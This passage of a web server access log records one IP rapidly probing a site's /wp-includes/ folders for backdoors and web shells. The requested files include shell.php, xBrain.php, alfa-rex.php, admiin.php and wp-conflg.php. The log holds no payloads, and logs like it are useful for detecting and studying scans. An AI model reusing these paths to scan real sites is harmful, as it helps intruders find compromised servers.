/wp-includes/FBpLfr2oR3M.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:40 -0400] "GET /wp-includes/FRmiwXUtO2K.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:40 -0400] "GET /wp-includes/G3jIOZXasr7.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:41 -0400] "GET /wp-includes/GahxXyLrlK3.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:41 -0400] "GET /wp-includes/GlRsTyKuOLA.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:42 -0400] "GET /wp-includes/H4PwluIEUzJ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:42 -0400] "GET /wp-includes/HJen2iTjI54.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:42 -0400] "GET /wp-includes/HdkrAtBgUxW.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:43 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:43 -0400] "GET /wp-includes/ID3//file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:44 -0400] "GET /wp-includes/ID3/?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:44 -0400] "GET /wp-includes/ID3/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:44 -0400] "GET /wp-includes/ID3/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:45 -0400] "GET /wp-includes/ID3/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:45 -0400] "GET /wp-includes/ID3/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:46 -0400] "GET /wp-includes/ID3/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:46 -0400] "GET /wp-includes/ID3/module.audio-video.matroska-meta.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:47 -0400] "GET /wp-includes/ID3/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:47 -0400] "GET /wp-includes/ID3/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:47 -0400] "GET /wp-includes/ID3/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:48 -0400] "GET /wp-includes/ID3/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:48 -0400] "GET /wp-includes/ID3/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:49 -0400] "GET /wp-includes/IS1QFBAdReV.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:49 -0400] "GET /wp-includes/IXR/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:49 -0400] "GET /wp-includes/IXR//4pgwp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:50 -0400] "GET /wp-includes/IXR//%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:50 -0400] "GET /wp-includes/IXR//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:51 -0400] "GET /wp-includes/IXR/%3Cahref=%22/wp-includes/IXR/class-IXR-base64.php%22%3E%3Cimgclass=%22icon%22src=%22/_autoindex/assets/icons/file-text.svg%22alt=%22[TXT]%22%3Eclass-IXR-base64.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:51 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:51 -0400] "GET /wp-includes/IXR/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:52 -0400] "GET /wp-includes/IXR/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:52 -0400] "GET /wp-includes/IXR/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:53 -0400] "GET /wp-includes/IXR/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:53 -0400] "GET /wp-includes/IXR/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:54 -0400] "GET /wp-includes/IXR/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:54 -0400] "GET /wp-includes/IXR/shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:55 -0400] "GET /wp-includes/IXR/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:55 -0400] "GET /wp-includes/IXR/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:55 -0400] "GET /wp-includes/Ie9FSsVMDEo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:56 -0400] "GET /wp-includes/ImZgvy9khUu.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:56 -0400] "GET /wp-includes/IsENazRPM4h.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:56 -0400] "GET /wp-includes/J3N7PX4jYKg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:57 -0400] "GET /wp-includes/J7ZayUDxCQ4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:57 -0400] "GET /wp-includes/JIz2LsNDm5G.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:58 -0400] "GET /wp-includes/JYR4ws5QDu6.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:58 -0400] "GET /wp-includes/JjIpHUP5ElO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:58 -0400] "GET /wp-includes/JnMRlNQOs3b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:59 -0400] "GET /wp-includes/K19VSjmkeCT.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:59 -0400] "GET /wp-includes/K8IgxOsEFvo.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:48:59 -0400] "GET /wp-includes/KHoAlLs3129.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:00 -0400] "GET /wp-includes/LOE5823rYzM.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:00 -0400] "GET /wp-includes/LSHGvrN9Cjf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:01 -0400] "GET /wp-includes/LYw1ni9VJTl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:01 -0400] "GET /wp-includes/MhZYbFS2rGd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:01 -0400] "GET /wp-includes/MoJhLeWjBrg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:02 -0400] "GET /wp-includes/Mq8vhT4yYVO.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:02 -0400] "GET /wp-includes/MxbiKEFOXQy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:02 -0400] "GET /wp-includes/NCImtphZOK5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:03 -0400] "GET /wp-includes/O5Z8Gyn4EIh.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:03 -0400] "GET /wp-includes/OYStpqjgDZ5.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:04 -0400] "GET /wp-includes/OhpfCSna9Vc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:04 -0400] "GET /wp-includes/OwG5LmjClXZ.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:04 -0400] "GET /wp-includes/PBfZp95n2Ud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:05 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:05 -0400] "GET /wp-includes/PHPMailer//2222.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:06 -0400] "GET /wp-includes/PHPMailer//Ab0ut.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:06 -0400] "GET /wp-includes/PHPMailer//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:06 -0400] "GET /wp-includes/PHPMailer//indexx.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:07 -0400] "GET /wp-includes/PHPMailer//themes-install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:07 -0400] "GET /wp-includes/PHPMailer/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:08 -0400] "GET /wp-includes/PHPMailer/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:08 -0400] "GET /wp-includes/PHPMailer/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:09 -0400] "GET /wp-includes/PHPMailer/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:09 -0400] "GET /wp-includes/Q4TbrMq6sSk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:09 -0400] "GET /wp-includes/Q8yL6j2i9zk.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:10 -0400] "GET /wp-includes/QLJoTSZn46j.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:10 -0400] "GET /wp-includes/QewG7L1lTkb.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:11 -0400] "GET /wp-includes/QgfAohVSwD1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:11 -0400] "GET /wp-includes/Qj9rebE2xow.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:12 -0400] "GET /wp-includes/Qm9vKED1AXP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:13 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:13 -0400] "GET /wp-includes/Requests//cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:14 -0400] "GET /wp-includes/Requests//hellodoyyl.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:14 -0400] "GET /wp-includes/Requests/Auth/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:15 -0400] "GET /wp-includes/Requests/Auth//images.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:15 -0400] "GET /wp-includes/Requests/Cookie/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:16 -0400] "GET /wp-includes/Requests/Exception/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:16 -0400] "GET /wp-includes/Requests/Exception/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:16 -0400] "GET /wp-includes/Requests/Proxy/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:17 -0400] "GET /wp-includes/Requests/Response/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:17 -0400] "GET /wp-includes/Requests/Response//siteindex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:18 -0400] "GET /wp-includes/Requests/Response//wp-theme.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:18 -0400] "GET /wp-includes/Requests/Response/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:19 -0400] "GET /wp-includes/Requests/Text/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:19 -0400] "GET /wp-includes/Requests/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:20 -0400] "GET /wp-includes/Requests/Utility/cc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:20 -0400] "GET /wp-includes/Requests/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:21 -0400] "GET /wp-includes/Requests/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:21 -0400] "GET /wp-includes/Requests/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:22 -0400] "GET /wp-includes/Requests/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:22 -0400] "GET /wp-includes/Requests/library/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:22 -0400] "GET /wp-includes/Requests/library/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:23 -0400] "GET /wp-includes/Requests/src/Auth/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:23 -0400] "GET /wp-includes/SimplePie/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:24 -0400] "GET /wp-includes/SimplePie//f-index4.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:24 -0400] "GET /wp-includes/SimplePie/Cache/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:24 -0400] "GET /wp-includes/SimplePie/Cache//cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:25 -0400] "GET /wp-includes/SimplePie/Cache/Hash.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:25 -0400] "GET /wp-includes/SimplePie/Content/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:26 -0400] "GET /wp-includes/SimplePie/Content//makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:26 -0400] "GET /wp-includes/SimplePie/Content/Type//themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:26 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:27 -0400] "GET /wp-includes/SimplePie/Content/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:27 -0400] "GET /wp-includes/SimplePie/Content/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:28 -0400] "GET /wp-includes/SimplePie/Parse/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:28 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:29 -0400] "GET /wp-includes/SimplePie/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:29 -0400] "GET /wp-includes/SimplePie/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:30 -0400] "GET /wp-includes/SimplePie/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:30 -0400] "GET /wp-includes/SimplePie/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:31 -0400] "GET /wp-includes/SimplePie/plugins.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:31 -0400] "GET /wp-includes/SimplePie/system.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:31 -0400] "GET /wp-includes/SimplePie/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:32 -0400] "GET /wp-includes/SimplePie/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:32 -0400] "GET /wp-includes/SimplePie/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:32 -0400] "GET /wp-includes/Text/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:33 -0400] "GET /wp-includes/Text/Diff/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:33 -0400] "GET /wp-includes/Text/Diff/Engine//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:34 -0400] "GET /wp-includes/Text/Diff/Engine//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:34 -0400] "GET /wp-includes/Text/Diff/Engine//shell.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:35 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:35 -0400] "GET /wp-includes/Text/Diff/Engine/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:35 -0400] "GET /wp-includes/Text/Diff/Engine/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:36 -0400] "GET /wp-includes/Text/Diff/Renderer/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:36 -0400] "GET /wp-includes/Text/Diff/Renderer/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:37 -0400] "GET /wp-includes/Text/Diff/Renderer/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:37 -0400] "GET /wp-includes/Text/Diff/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:37 -0400] "GET /wp-includes/Text/Diff/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:38 -0400] "GET /wp-includes/Text/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:38 -0400] "GET /wp-includes/Text/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:39 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:39 -0400] "GET /wp-includes/Text/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:40 -0400] "GET /wp-includes/Text/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:40 -0400] "GET /wp-includes/Text/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:40 -0400] "GET /wp-includes/Text/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:41 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:42 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:42 -0400] "GET /wp-includes/Text/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:42 -0400] "GET /wp-includes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:43 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:43 -0400] "GET /wp-includes/assets/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:44 -0400] "GET /wp-includes/assets//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:44 -0400] "GET /wp-includes/assets//classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:44 -0400] "GET /wp-includes/assets//cloud.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:45 -0400] "GET /wp-includes/assets//wp-access.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:45 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:45 -0400] "GET /wp-includes/assets/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:46 -0400] "GET /wp-includes/assets/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:46 -0400] "GET /wp-includes/assets/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:47 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:47 -0400] "GET /wp-includes/assets/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:48 -0400] "GET /wp-includes/assets/x2.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:48 -0400] "GET /wp-includes/assets/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:49 -0400] "GET /wp-includes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:49 -0400] "GET /wp-includes/bak.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:49 -0400] "GET /wp-includes/bk/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:50 -0400] "GET /wp-includes/blTvYBaqncP.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:50 -0400] "GET /wp-includes/block-bindings/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:51 -0400] "GET /wp-includes/block-bindings/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:51 -0400] "GET /wp-includes/block-patterns/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:51 -0400] "GET /wp-includes/block-patterns/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:52 -0400] "GET /wp-includes/block-patterns/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:52 -0400] "GET /wp-includes/block-patterns/ben.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:53 -0400] "GET /wp-includes/block-patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:53 -0400] "GET /wp-includes/block-patterns/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:54 -0400] "GET /wp-includes/block-supports/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:54 -0400] "GET /wp-includes/block-supports//default-constant.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:54 -0400] "GET /wp-includes/block-supports//dimensions-ajax.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:55 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:55 -0400] "GET /wp-includes/block-supports/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:55 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:56 -0400] "GET /wp-includes/block-supports/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:57 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:57 -0400] "GET /wp-includes/blocks/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:57 -0400] "GET /wp-includes/blocks/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:58 -0400] "GET /wp-includes/blocks/block/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:58 -0400] "GET /wp-includes/blocks/calendar/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:58 -0400] "GET /wp-includes/blocks/comment-template/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:59 -0400] "GET /wp-includes/blocks/freeform/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:59 -0400] "GET /wp-includes/blocks/heading/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:49:59 -0400] "GET /wp-includes/blocks/latest-comments/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:00 -0400] "GET /wp-includes/blocks/list/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:00 -0400] "GET /wp-includes/blocks/list/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:01 -0400] "GET /wp-includes/blocks/loginout/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:01 -0400] "GET /wp-includes/blocks/more/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:02 -0400] "GET /wp-includes/blocks/post-author/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:02 -0400] "GET /wp-includes/blocks/post-author/wp-post.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:03 -0400] "GET /wp-includes/blocks/shortcode/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:03 -0400] "GET /wp-includes/blocks/site-logo/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:03 -0400] "GET /wp-includes/blocks/social-links/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:04 -0400] "GET /wp-includes/blocks/term-description/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:05 -0400] "GET /wp-includes/blocks/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:05 -0400] "GET /wp-includes/blocks/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:06 -0400] "GET /wp-includes/bnYGWrcap1X.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:06 -0400] "GET /wp-includes/buy.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:07 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:50:07 -0400] "GET /wp-includes/certificates/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - 